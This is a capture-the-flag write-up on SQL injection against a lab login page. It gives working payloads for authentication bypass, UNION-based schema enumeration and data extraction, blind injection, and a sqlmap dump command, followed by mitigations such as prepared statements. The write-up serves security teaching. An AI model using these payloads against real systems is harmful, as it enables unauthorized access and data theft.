SQL Injection 101
Challenge Overview
This CTF challenge presents a login page vulnerable to SQL injection. The goal is to bypass authentication and extract sensitive data from the database.
Initial Analysis
Reconnaissance
The application presents a simple login form with username and password fields.
URL: http://challenge.ctf.com/login
Testing with a simple apostrophe in the username field:
Username: admin'
Password: anything
Response: SQL error message leaked!
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version...
This confirms SQL injection vulnerability.
Exploitation
Step 1: Authentication Bypass
Classic SQL injection to bypass login:
Username: admin' OR '1'='1' --
Password: (leave empty)
Success! We’re logged in as admin.
Step 2: Determining Column Count
Using UNION-based injection to find the number of columns:
admin' UNION SELECT NULL--
admin' UNION SELECT NULL,NULL--
admin' UNION SELECT NULL,NULL,NULL-- ✓ (works!)
The query has 3 columns.
Step 3: Finding Injectable Columns
admin' UNION SELECT 'a','b','c'--
All three columns are displayed on the page.
Step 4: Database Enumeration
Finding the database version:
admin' UNION SELECT NULL,@@version,NULL--
Result: MySQL 5.7.32
Listing databases:
admin' UNION SELECT NULL,schema_name,NULL FROM information_schema.schemata--
Databases found:
- information_schema
- ctf_db (interesting!)
- mysql
- performance_schema
Step 5: Extracting Table Names
admin' UNION SELECT NULL,table_name,NULL FROM information_schema.tables WHERE table_schema='ctf_db'--
Tables found:
- users
- secrets (very interesting!)
Step 6: Extracting Column Names
admin' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='secrets'--
Columns in secrets table:
- id
- secret_key
- description
Step 7: Extracting the Flag
admin' UNION SELECT NULL,secret_key,description FROM secrets--
Flag obtained: CTF{Un10n_B4s3d_SqL1_1s_D4ng3r0us}
Advanced Techniques
Blind SQL Injection (Bonus)
If the application didn’t show errors, we could use blind SQLi:
Boolean-based:
admin' AND (SELECT SUBSTRING(database(),1,1))='c'--
Time-based:
admin' AND IF(1=1,SLEEP(5),0)--
Automated Exploitation
Using SQLMap:
sqlmap -u "http://challenge.ctf.com/login" --data "username=admin&password=test" --batch --dump
Mitigation Strategies
-
Prepared Statements (Parameterized Queries)
$stmt = $pdo->prepare('SELECT * FROM users WHERE username = ? AND password = ?'); $stmt->execute([$username, $password]); -
Input Validation
- Whitelist allowed characters
- Implement length restrictions
- Escape special characters
-
Least Privilege
- Database user should have minimal permissions
- Don’t use root/admin accounts for web applications
-
Error Handling
- Never display database errors to users
- Log errors securely for debugging
-
Web Application Firewall (WAF)
- Implement ModSecurity or similar
- Block common SQLi patterns
Tools Used
- Burp Suite - Request interception
- SQLMap - Automated exploitation
- Browser DevTools - Response analysis
Learning Resources
Conclusion
SQL injection remains one of the most critical web application vulnerabilities. Always use prepared statements and never trust user input!